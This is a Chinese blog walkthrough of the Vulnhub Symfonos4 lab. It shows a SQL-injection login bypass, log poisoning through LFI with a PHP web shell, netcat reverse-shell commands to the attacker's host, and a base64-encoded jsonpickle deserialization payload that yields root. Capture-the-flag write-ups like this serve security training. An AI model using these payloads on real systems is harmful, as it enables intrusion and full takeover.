Vulnhub靶场实例

Vulnhub靶机:Symfonos4

2020-06-07  本文已影响0人  z1挂东南

标签万能密码本地文件包含日志文件注入端口转发json pickle提权

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/symfonos-4,347/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:

Name: symfonos: 4
Difficulty: Intermediate
Tested: VirtualBox
DHCP Enabled
OSCP-like Intermediate real life based machine designed to teach people the importance of trying harder.

We had issues importing with VMware. VirtualBox works okay.

0x01 信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.1.136

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.1.136

看一下80端口

嗨,还是一张图片,扫一下目录

3.目录扫描

本来我开始用的是dirsearch,但是它扫描不出来php后缀名的文件,我写了-e参数,但是扫不出来,没办法只好换了个工具,这是我当时写的命令,如果有老哥知道是哪里出现问题的话麻烦告诉我一下。

然后我换了gobuster工具来扫描目录,下载地址:https://github.com/OJ/gobuster/releases
字典:/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描出两个php文件和一个目录
看一下http://192.168.1.136/gods页面

发现了三个文件,下载下来看一下

三个神话故事。做了这么多这个系列,已经见怪不怪了。。。
访问一下sea.php文件,直接跳转到了atlantis.php

是个登录界面

0x02 万能密码

登录页面尝试一下万能密码:

Fuzz1:
Username:admin
Password:admin' or 1=1 #

失败
Fuzz2:
Username:admin' or 1=1 #
Password:admin

成功

成功登录。用户名写成admin' ;也可以登录。

登录后跳转到了sea.php页面。
页面有个下拉框,可以选择3个选项,选择一个选项后会出现对应的神话故事,和刚才我们下载的三个文件中的内容一样。猜测这里加载了/gods目录下的文件。

0x03 本地文件包含LFI

使用burp抓包,fuzz一下是否存在本地文件包含。

确实存在文件包含漏洞。但是不能读取/etc/passwd,可能是权限不够。这里读取的文件是/var/log/auth,它是ssh日志文件。正好可以通过ssh向里面写入恶意代码。

0x04 日志文件注入代码——反弹shell

通过ssh/var/log/auth文件注入php代码。
命令:ssh '<?php system($_GET["cmd"]);?>'@192.168.1.136

查看是否可以执行代码:

成功执行。
反弹shell,先在kali上监听一个端口

然后在burp上输入反弹shell的命令:nc+-e+/bin/bash+192.168.1.31+4444。使用burp的话,要用加号代替空格

成功接收到shell

0x05 端口转发

netstat命令不可用,uname -a发现是Debian系统,尝试使用ss -tulpn命令

可以执行,发现本地监听了一个8080端口
如果要访问这个端口就需要端口转发了,查看一下靶机中是否有端口转发的工具

发现靶机中有socat工具,这个工具有端口转发的功能。
那就把靶机的8080端口转发到靶机的7000端口上,一会访问靶机7000端口就相当于访问靶机的8080端口了。
命令:socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080

点击Main page

0x06 json pickle提权

没有什么信息,就是两个页面,使用burp抓包看看。
点击Main page后,抓到的包里cookie中有个username参数,后面的值看起来被base64加密了

解密看一下

看起来像是一种json格式。这个地方我没遇到过,看了下国外大佬的文章,他参考的是这个链接https://versprite.com/blog/application-security/into-the-jar-jsonpickle-exploitation/
我英文不是很好,看了下大概:这是python的pickle模块,这个模块的功能类似于序列化和反序列化的功能,它主要是对Python对象结构进行序列化和反序列化。
文章中给了一个例子:

encoded = jsonpickle.encode(Shell())
      
[*] JSON encoded Pickle: {"py/object": "__main__.Shell", "py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": ["whoami"]}, null, null, null]}

这个例子可以把whoami这条系统命令序列化。
现在我们想要getshell,那就把whoami修改成反弹shell的命令试一下。
将我们修改后的语句进行base64加密,

然后在kali中监听7777端口,将刚才加密后的密文放到cookie的username中,使用burp发包

但是kali并没有接收到shell
又看了一眼表哥的文章,发现还要修改一些东西

要把这里修改成os.system
加密前语句:
{"py/object": "__main__.Shell", "py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["nc -e /bin/bash 192.168.1.31 7777"]}, null, null, null]}
加密后语句:
IHsicHkvb2JqZWN0IjogIl9fbWFpbl9fLlNoZWxsIiwgInB5L3JlZHVjZSI6IFt7InB5L3R5cGUiOiAib3Muc3lzdGVtIn0sIHsicHkvdHVwbGUiOiBbIm5jIC1lIC9iaW4vYmFzaCAxOTIuMTY4LjEuMzEgNzc3NyJdfSwgbnVsbCwgbnVsbCwgbnVsbF19

将修改后的密文粘贴到burp中,再次发包

这次接收到shell了,而且身份直接就是root,不用提权了

flag在/root下

呀呼!一给我里giao!

0x07 小结

本靶机重点是信息搜集时候的目录扫描,只有扫描出目录,才能进行下面的操作。在扫描出敏感目录后,使用万能密码进行登录,登录后发现存在本地文件包含漏洞,通过爆破文件,发现了/var/log/auth文件,这是一个记录ssh日志的文件,通过向ssh注入恶意代码后,可以getshell。查看靶机的内网发现靶机还在监听本地的8080端口,端口转发进行访问。访问网站后,发现cookie中有一些问题,使用json pickle进行getshell,getshell后直接就是root权限了。

由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”


参考链接:

1.https://pentesterjourney.com/2019/10/04/vulnhub-symfonos-4-walkthrough/
2.Linux日志文件/var/log详解
3.dirsearch v0.3.9
4.https://github.com/OJ/gobuster/releases
5.在线加密解密

上一篇 下一篇

猜你喜欢

热点阅读